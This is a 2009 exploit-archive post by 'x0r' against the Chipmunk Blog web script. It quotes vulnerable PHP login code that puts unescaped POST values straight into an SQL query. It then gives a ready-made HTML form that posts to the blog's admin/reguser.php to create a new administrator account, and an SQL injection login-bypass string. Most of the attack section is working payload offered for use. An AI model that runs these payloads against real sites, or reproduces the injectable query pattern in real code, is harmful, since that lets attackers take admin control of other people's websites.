[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Chipmunk Blog (Auth Bypass) Add Admin Exploit
# Published : 2009-01-28
# Author : x0r
# Previous Title : Community CMS <= 0.4 (/index.php id) Blind SQL Injection Exploit
# Next Title : GameScript 4.6 (XSS/SQL/LFI) Multiple Remote Vulnerabilities


#########################################################################################
[0x01] Informations:

Script         : Chipmunk Blog
Download       : http://www.chipmunk-scripts.com/blog/blog.zip
Vulnerability  : Add Admin ExploitAuth Bypass
Author         : x0r
Contact        : x0r@live.it  andry2000@hotmail.it
Website        : NULL

#########################################################################################
[0x02] Bug: adminreguser.php adminauthenticate.php

if (isset($_POST['submit'])) // name of submit button
{
   $username=$_POST['username'];
   $password=$_POST['password'];
   $password=md5($password);
   $getadmin="SELECT * from bl_admin where username='$username' and
password='$password'";
   $getadmin2=mysql_query($getadmin) or die("Could not get admin");


#########################################################################################
[0x03] Exploit:

Add Admin:

<html>
<head>
<title> Chipmunk Blog (reguser.php) Add Admin Exploit (html)</title>
</head>
<body>
<form action=http://xxxxxxx/blog/admin/reguser.php method=post>
Username:<br>
<input type=text name='username' value='x0r' size="20"><br>
Password:<br>
<input type=text name='password' value='h4x0rz' size="20"><br>
<input type="text" name="pass2" value='h4x0rz' size="15"><br>
<input type=submit name='submit' value='submit'><br>
</form>
</body>
</html>

Exploit2: admin ' or ' 1=1--
#########################################################################################

# www.Syue.com [2009-01-28]